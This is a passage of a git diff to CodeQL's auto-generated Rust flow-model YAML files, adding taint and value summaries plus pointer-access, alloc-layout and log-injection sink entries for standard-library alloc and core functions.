"Argument[self].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[crate::vec::drain::Drain::vec]", "value", "dfc-generated"] - ["lang:alloc", "::extract_if", "Argument[1]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::pred]", "value", "dfc-generated"] + - ["lang:alloc", "::extract_if", "Argument[self].Field[crate::vec::Vec::len]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::old_len]", "value", "dfc-generated"] - ["lang:alloc", "::extract_if", "Argument[self]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::vec]", "value", "dfc-generated"] - ["lang:alloc", "::from_parts_in", "Argument[1]", "ReturnValue.Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::from_raw_parts_in", "Argument[1]", "ReturnValue.Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::vec::Vec::len]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::push_within_capacity", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["lang:alloc", "::resize", "Argument[0]", "Argument[self].Field[crate::vec::Vec::len]", "value", "dfc-generated"] + - ["lang:alloc", "::resize_with", "Argument[0]", "Argument[self].Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::set_len", "Argument[0]", "Argument[self].Field[crate::vec::Vec::len]", "value", "dfc-generated"] + - ["lang:alloc", "::splice", "Argument[self].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[crate::vec::splice::Splice::drain].Field[crate::vec::drain::Drain::vec]", "value", "dfc-generated"] + - ["lang:alloc", "::split_off", "Argument[0]", "Argument[self].Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::truncate", "Argument[0]", "Argument[self].Field[crate::vec::Vec::len]", "value", "dfc-generated"] + - ["lang:alloc", "::try_with_capacity_in", "Argument[1]", "ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::new", "Argument[0].Field[crate::vec::Vec::len]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::old_len]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::vec]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[1]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::pred]", "value", "dfc-generated"] - ["lang:alloc", "::as_inner", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -484,10 +548,150 @@ extensions: - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Field[crate::vec::set_len_on_drop::SetLenOnDrop::len]", "value", "dfc-generated"] - ["lang:alloc", "::downcast", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::from_elem", "Argument[1]", "ReturnValue.Field[crate::vec::Vec::len]", "value", "dfc-generated"] - - ["lang:alloc", "::spec_to_string", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::spec_to_string", "Argument[self]", "ReturnValue", "value", "df-generated"] - ["lang:alloc", "::from_elem", "Argument[1]", "ReturnValue.Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "crate::collections::btree::mem::replace", "Argument[0].Reference", "Argument[1].Parameter[0]", "value", "dfc-generated"] - - ["lang:alloc", "crate::collections::btree::mem::replace", "Argument[1].ReturnValue", "Argument[0].Reference", "value", "dfc-generated"] - ["lang:alloc", "crate::collections::btree::mem::take_mut", "Argument[0].Reference", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:alloc", "crate::collections::btree::mem::take_mut", "Argument[1].ReturnValue", "Argument[0].Reference", "value", "dfc-generated"] - ["lang:alloc", "crate::str::convert_while_ascii", "Argument[0]", "Argument[1]", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["lang:alloc", "<[_]>::sort", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "<[_]>::sort_by", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "<[_]>::sort_by_key", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::allocate", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::allocate_zeroed", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::grow", "Argument[2]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::grow", "Argument[2]", "alloc-size", "df-generated"] + - ["lang:alloc", "::grow_zeroed", "Argument[2]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::grow_zeroed", "Argument[2]", "alloc-size", "df-generated"] + - ["lang:alloc", "::shrink", "Argument[2]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::shrink", "Argument[2]", "alloc-size", "df-generated"] + - ["lang:alloc", "::try_new_uninit_slice", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::try_new_zeroed_slice", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::drop", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::drop", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::deallocating_next_back_unchecked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::deallocating_next_unchecked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back_unchecked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_unchecked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back_checked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_checked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::consider_for_balancing", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::append_from_sorted_iters", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::bulk_push", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::choose_parent_kv", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::fix_node_and_affected_ancestors", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::full_range", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::push_internal_level", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::clone_from", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::spec_extend", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::extend", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::extend_one", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::extend_reserve", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::append", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::insert", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::insert", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::make_contiguous", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::push_back", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::push_front", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::remove", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::reserve", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::reserve_exact", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::resize", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::resize_with", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::rotate_left", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::rotate_left", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::rotate_right", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::rotate_right", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::shrink_to", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::shrink_to", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::shrink_to_fit", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::try_reserve", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::try_reserve_exact", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::make_mut", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:alloc", "::new_uninit_slice_in", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::new_zeroed_slice", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::new_zeroed_slice_in", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::make_mut", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:alloc", "::new_zeroed_slice", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::from", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::insert", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::insert", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::remove", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::swap_remove", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::swap_remove", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "crate::alloc::__alloc_error_handler::__rdl_oom", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "crate::collections::btree::mem::replace", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:alloc", "crate::collections::btree::mem::take_mut", "Argument[0]", "pointer-access", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["lang:alloc", "::drop", "Argument[self]", "pointer-invalidate", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/lang-core.model.yml b/rust/ql/lib/ext/generated/rust/lang-core.model.yml index 734b13027cd..01235d61b5a 100644 --- a/rust/ql/lib/ext/generated/rust/lang-core.model.yml +++ b/rust/ql/lib/ext/generated/rust/lang-core.model.yml @@ -7,16 +7,199 @@ extensions: - ["lang:core", "<&_ as crate::borrow::Borrow>::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "<&_ as crate::clone::Clone>::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&_ as crate::ops::deref::Deref>::deref", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv4Addr as crate::ops::bit::BitAnd>::bitand", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv4Addr as crate::ops::bit::BitOr>::bitor", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv4Addr as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv6Addr as crate::ops::bit::BitAnd>::bitand", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv6Addr as crate::ops::bit::BitOr>::bitor", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv6Addr as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&crate::result::Result as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - 